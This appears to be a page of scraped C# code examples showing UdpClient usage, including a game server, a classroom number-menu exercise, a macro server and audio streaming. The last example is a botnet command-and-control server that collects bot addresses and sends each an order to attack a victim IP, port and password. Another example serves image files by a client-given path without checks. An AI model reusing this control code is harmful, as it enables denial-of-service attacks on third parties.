예제 #1
0
        private void UdpListener()
        {
            string data = "";

            while (true)
            {
                try
                {
                    receiveBytes = udpServer.Receive(ref ipEndPoint);
                    data         = Encoding.ASCII.GetString(receiveBytes);

                    Packet packet = Packet.Populate(data);

                    switch (packet.PacketType)
                    {
                    case PacketType.Coordinates:
                        string[] contentParts = packet.Content.Split('|');

                        var foundPlayers = from p in Participants
                                           where p.Nickname == contentParts[0]
                                           select p;

                        if (foundPlayers != null && foundPlayers.Count() == 1)
                        {
                            if (!Settings.FreezeAllPlayersEnabled)
                            {
                                ServerParticipant foundPlayer = foundPlayers.First();

                                foundPlayer.X        = float.Parse(contentParts[1]);
                                foundPlayer.Y        = float.Parse(contentParts[2]);
                                foundPlayer.Z        = float.Parse(contentParts[3]);
                                foundPlayer.SpeedX   = float.Parse(contentParts[4]);
                                foundPlayer.SpeedY   = float.Parse(contentParts[5]);
                                foundPlayer.SpeedZ   = float.Parse(contentParts[6]);
                                foundPlayer.VectorX1 = float.Parse(contentParts[7]);
                                foundPlayer.VectorY1 = float.Parse(contentParts[8]);
                                foundPlayer.VectorZ1 = float.Parse(contentParts[9]);
                                foundPlayer.VectorX2 = float.Parse(contentParts[10]);
                                foundPlayer.VectorY2 = float.Parse(contentParts[11]);
                                foundPlayer.VectorZ2 = float.Parse(contentParts[12]);

                                foundPlayer.LastActivity = DateTime.Now;
                            }

                            string stringToSend = PacketType.Coordinates + "|" + Settings.Serialize();

                            foreach (ServerParticipant player in participants)
                            {
                                stringToSend += "|" + player.Nickname + ";" + player.X + ";" + player.Y + ";" + player.Z + ";" + player.SpeedX + ";" + player.SpeedY + ";" + player.SpeedZ + ";" + player.VectorX1 + ";" + player.VectorY1 + ";" + player.VectorZ1 + ";" + player.VectorX2 + ";" + player.VectorY2 + ";" + player.VectorZ2 + ";" + player.PowerUpType + ";" + player.PowerUpWhiteBricks;
                            }

                            sendBytes = Encoding.ASCII.GetBytes(stringToSend);
                            udpServer.Send(sendBytes, sendBytes.GetLength(0), ipEndPoint);
                        }
                        break;
                    }
                }
                catch (SocketException exc)
                {
                    if (exc.ErrorCode == 10054)
                    {
                        // Participant closed the Client - no action is required as the Server will clean it up automatically
                    }
                }
                catch (Exception exc)
                {
                    Console.WriteLine(exc.Message);
                }

                //Console.WriteLine("Handling client at " + ipEndPoint + " - ");
                //Console.WriteLine("Message Received " + data.TrimEnd());

                //server.Send(receivedBytes, receivedBytes.Length, remoteIPEndPoint);
                //Console.WriteLine("Message Echoed to" + remoteIPEndPoint + data);
            }
        }
예제 #2
0
        static void Main(string[] args)
        {
            UdpClient         server      = new UdpClient(9050);
            List <IPEndPoint> listclient  = new List <IPEndPoint>();
            List <int[]>      listso      = new List <int[]>();
            List <int>        listsoluong = new List <int>();
            IPEndPoint        client      = new IPEndPoint(IPAddress.Any, 0);

            while (true)
            {
                byte[] data1 = new byte[10];
                data1 = server.Receive(ref client);
                string   so        = Encoding.ASCII.GetString(data1, 0, data1.Length);
                string[] cutnumber = so.Split('_');
                int      a         = int.Parse(cutnumber[0]);
                int      i;

                for (i = 0; i < listclient.Count; i++)
                {
                    if (client.Equals(listclient.ElementAt(i)))
                    {
                        if (listsoluong.ElementAt(i) < 3)
                        {
                            if (cutnumber[1] == "1")
                            {
                                listso[i][0] = a;
                            }
                            if (cutnumber[1] == "2")
                            {
                                listso[i][1] = a;
                            }
                            if (cutnumber[1] == "3")
                            {
                                listso[i][2] = a;
                            }
                            listsoluong[i]++;
                            if (listsoluong[i] != 3)
                            {
                                break;
                            }
                        }

                        if (listsoluong.ElementAt(i) == 3)
                        {
                            string menu = "1.Tong ba so,2.Cac so le co trong ba so,3.Thoat";
                            byte[] data = new byte[10];
                            data = Encoding.ASCII.GetBytes(menu);
                            server.Send(data, data.Length, listclient.ElementAt(i));
                            listsoluong[i]++;
                            break;
                        }
                        if (listsoluong.ElementAt(i) > 3)
                        {
                            if (a == 1)
                            {
                                int    kq    = listso[i][0] + listso[i][1] + listso[i][2];
                                byte[] data3 = new byte[10];
                                data3 = Encoding.ASCII.GetBytes(kq.ToString());
                                server.Send(data3, data3.Length, listclient.ElementAt(i));
                                break;
                            }
                            if (a == 2)
                            {
                                for (int j = 0; j < 3; j++)
                                {
                                    int flag = 0;
                                    if (listso[i][j] % 2 != 0)
                                    {
                                        byte[] data4 = new byte[10];
                                        data4 = Encoding.ASCII.GetBytes(flag.ToString());
                                        server.Send(data4, data4.Length, listclient.ElementAt(i));
                                        byte[] data3 = new byte[10];
                                        data3 = Encoding.ASCII.GetBytes(listso[i][j].ToString());
                                        server.Send(data3, data3.Length, listclient.ElementAt(i));
                                    }
                                    if (j == 2)
                                    {
                                        flag = 1;
                                        byte[] data5 = new byte[10];
                                        data5 = Encoding.ASCII.GetBytes(flag.ToString());
                                        server.Send(data5, data5.Length, listclient.ElementAt(i));
                                        break;
                                    }
                                }
                            }
                            if (a == 3)
                            {
                                break;
                            }

                            break;
                        }
                    }
                }
                if (i == listclient.Count)
                {
                    listclient.Add(client);
                    listsoluong.Add(1);
                    int[] arr = new int[3];
                    if (cutnumber[1] == "1")
                    {
                        arr[0] = a;
                        listso.Add(arr);
                    }
                    if (cutnumber[1] == "2")
                    {
                        arr[1] = a;
                        listso.Add(arr);
                    }
                    if (cutnumber[1] == "3")
                    {
                        arr[2] = a;
                        listso.Add(arr);
                    }
                }
            }
        }
예제 #3
0
        private void SendBroadcastMessage(UdpClient client)
        {
            var buffer = Encoding.ASCII.GetBytes(ServerCode + ":" + ServerVersion);

            client.Send(buffer, buffer.Length, serverMulticastEndpoint);
        }
예제 #4
0
        public static void Main(string[] args)
        {
            updateBaseDir();
            Debug.WriteLine("baseDir = " + baseDir);
            Debug.WriteLine("extentionsDir = " + extentionsDir);
            Debug.WriteLine("imagesDir = " + imagesDir);
            Debug.WriteLine("soundDir = " + soundDir);
            isDebugF();
            PluginLoadAll();
            if (IsDebug == false)
            {
                Dictionary <string, object> plug = Server.Program.PluginGet("TrayIcon");
                if (plug == null)
                {
                    return;
                }
                try
                {
                    Assembly asem     = (Assembly)plug["assembly"];
                    Type     t        = (Type)plug["type"];
                    object   instance = (object)plug["instance"];

                    MethodInfo m = t.GetMethod("HideConsole");
                    Debug.WriteLine("m.Invoke(instance, new object[] {});");
                    m.Invoke(instance, new object[] { });
                }
                catch (Exception error) { }
            }

            AppDomain.CurrentDomain.ProcessExit += CurrentDomain_ProcessExit;
            listSocket = new List <JObject>();
            exe        = new Execute();
            LoadRemoteParams();

            watcher = new FileSystemWatcher(baseDir);
            watcher.NotifyFilter = NotifyFilters.LastAccess
                                   | NotifyFilters.LastWrite
                                   | NotifyFilters.FileName
                                   | NotifyFilters.DirectoryName;
            watcher.Filter   = "*.json";
            watcher.Changed += OnLoadRemoteParamsChanged;
            watcher.Created += OnLoadRemoteParamsChanged;
            //watcher.Deleted += OnLoadRemoteParamsChanged;
            watcher.Renamed            += OnLoadRemoteParamsChanged;
            watcher.EnableRaisingEvents = true;


            try
            {
                Thread objThread = new Thread(TimerLoop);
                objThread.IsBackground = true;
                objThread.Priority     = ThreadPriority.AboveNormal;
                objThread.Start();
            }
            catch (ThreadStartException objException) { }
            catch (ThreadAbortException objException) { }
            catch (Exception objException) { }


            byte[] data = new byte[51200];
            listhendPort = 25000;
            //listhendPort = FreeTcpPort();
            IPEndPoint ipep = new IPEndPoint(IPAddress.Any, listhendPort);

            newsock = new UdpClient(ipep);

            Console.WriteLine("Waiting for a client...");

            IPEndPoint sender = new IPEndPoint(IPAddress.Any, 0);

            while (unload == false)
            {
                try {
                    data = newsock.Receive(ref sender);
                    Console.WriteLine("Message received from {0}:", sender.ToString());
                    string text = Encoding.UTF8.GetString(data, 0, data.Length);
                    try { Console.WriteLine(text); } catch (Exception error) { Console.WriteLine(Encoding.ASCII.GetString(data, 0, data.Length)); }
                    try {
                        JObject ob       = JObject.Parse(text);
                        string  function = "";
                        try { function = ob.GetValue("function").Value <string>(); } catch (Exception error) { }
                        string macro = null;
                        try { macro = ob.GetValue("macro").Value <string>(); } catch (Exception error) { }

                        if (function != "")
                        {
                            if (function == "Pong")
                            {
                                for (int i = 0; i < listSocket.Count; i++)
                                {
                                    if (listSocket[i]["addr"].Value <string>() == sender.Address.ToString() && listSocket[i]["port"].Value <int>() == sender.Port)
                                    {
                                        listSocket[i]["last"] = (Int32)(DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1))).TotalSeconds;
                                    }
                                }
                                continue;
                            }
                            if (function == "GetInfo")
                            {
                                JObject sock = new JObject();
                                sock["addr"] = sender.Address.ToString();
                                sock["port"] = sender.Port;
                                sock["last"] = (Int32)(DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1))).TotalSeconds;
                                listSocket.Add(sock);
                                data = Encoding.UTF8.GetBytes(GetInfo());
                                newsock.Send(data, data.Length, sender);
                            }

                            if (function == "GetGrids" || function == "ForceReload")
                            {
                                if (function == "ForceReload")
                                {
                                    LoadRemoteParams();
                                }
                                string gri = JsonConvert.SerializeObject(GridsList.GetValue("grids"));
                                data = Encoding.UTF8.GetBytes("{\"function\":\"SendGrids\", \"grids\":" + gri + "}");
                            }

                            if (function == "GetImage")
                            {
                                string filePath = imagesDir + ob["reference"].Value <string>();
                                if (File.Exists(filePath) == true)
                                {
                                    using (Image image = Image.FromFile(filePath))
                                    {
                                        using (MemoryStream m = new MemoryStream())
                                        {
                                            image.Save(m, image.RawFormat);
                                            byte[] imageBytes   = m.ToArray();
                                            string base64String = Convert.ToBase64String(imageBytes);
                                            data = Encoding.UTF8.GetBytes("{\"function\":\"RetGetImage\", \"reference\":\"" + ob["reference"].Value <string>() + "\", \"result\":\"data:" + MimeTypesMap.GetMimeType(filePath) + ";base64," + base64String + "\"}");
                                        }
                                    }
                                }
                                else
                                {
                                    data = Encoding.UTF8.GetBytes("{\"function\":\"RetGetImage\", \"reference\":\"" + ob["reference"].Value <string>() + "\", \"result\":\"ERROR\"}");
                                }
                            }

                            if (function == "GetSoundInfo" || function == "MuteSound" || function == "VolUp" || function == "VolDown")
                            {
                                JToken tok = ob.Value <JToken>();
                                ParseSoundInfo(function, ref newsock, sender, tok);
                            }

                            newsock.Send(data, data.Length, sender);
                        }
                        if (macro != null)
                        {
                            string sound = null;
                            try { sound = ob.GetValue("sound").Value <string>(); } catch (Exception error) { }
                            MacrosProcessing.Run(exe, MacroList, macro, sound, newsock, sender);
                        }
                    } catch (Exception error) { Debug.WriteLine(JsonConvert.SerializeObject(error)); Debug.WriteLine(Encoding.UTF8.GetString(data, 0, data.Length)); }
                }
                catch (Exception error) { Debug.WriteLine(error.StackTrace); }
            }
        }
예제 #5
0
 static void waveIn_DataAvailable(object sender, WaveInEventArgs e)
 {
     byte[] encoded = selectedCodec.Encode(e.Buffer, 0, e.BytesRecorded);
     udpSender.Send(encoded, encoded.Length);
 }
예제 #6
0
        private void btnSend_Click(object sender, EventArgs e)
        {
            IPEndPoint local = new IPEndPoint(IPAddress.Parse(remoteIp.Text), int.Parse(remotePort.Text));

            myUdpClient.Send(Encoding.UTF8.GetBytes(textMsg.Text), textMsg.Text.Length, local);
        }
예제 #7
0
 private void Send(string message)
 {
     byte[] bytes = Encoding.UTF8.GetBytes(message);
     _udpServer.Send(bytes, bytes.Length, _remoteEndPoint);
     _packageIndex++;
 }
예제 #8
0
 public void SendUDP(byte[] data, Player target)
 {
     udpClient.Send(data, data.Length, target.IpEndPoint);
 }
예제 #9
0
		public static void Main(string[] args)
		{
			Console.WriteLine("Command and control server d_dos_fobia active");
			UdpClient udpServer = new UdpClient(31337);
			Thread listenThread = new Thread(() =>
			{
				while (true)
				{
					IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 31337);
					byte[] data = udpServer.Receive(ref remoteEP); // listen on port 31337
																   //Console.WriteLine(BitConverter.ToInt32(data, 0));
																   //Console.WriteLine("data " + remoteEP.ToString());
					lock (ip_port_bots) ip_port_bots.Add(new IPEndPoint(remoteEP.Address, BitConverter.ToUInt16(data, 0)));
					DisplaySet(ip_port_bots);
					//udpServer.Send(new byte[] { 1 }, 1, remoteEP); // reply back
				}
			});
			listenThread.Start();
			while (true)
			{
				try
				{
					Console.WriteLine("ip?");
					string ip_vic = Console.ReadLine();

					Console.WriteLine("port?");
					int port_vic = Int32.Parse(Console.ReadLine());
					Console.WriteLine("password?");
					string pass_vic = Console.ReadLine();

					byte[] ip_vic_arr = IPAddress.Parse(ip_vic).GetAddressBytes(), //BitConverter.GetBytes((Int32)IPAddress.Parse(ip_vic).Address),
					port_vic_arr = BitConverter.GetBytes((Int16)port_vic),
						pass_vic_arr = Encoding.Default.GetBytes(pass_vic);
					string name = "d_dos_fobia";
					int len = name.Length;
					for (int i = 0; i < 32 - len; i++)
						name = name + "\0";
					byte[] name_vic_arr = Encoding.Default.GetBytes(name);

					byte[] to_send = Combine(ip_vic_arr, port_vic_arr, pass_vic_arr, name_vic_arr);

					Console.WriteLine("attacking victim on IP " + ip_vic + ", port " + port_vic + " with " + ip_port_bots.Count + " bots");
					DisplaySet(ip_port_bots);
					try
					{
						lock (ip_port_bots)
						{
							foreach (IPEndPoint endPoint in ip_port_bots)
							{
								udpServer.Send(to_send, to_send.Length, endPoint); // reply back
							}
						}
					}
					catch (Exception e)
					{
						Console.WriteLine(e.Message);
					}
				}
				catch(Exception e) {
					Console.WriteLine("incorecct input " + e.Message);
				}
			}
		}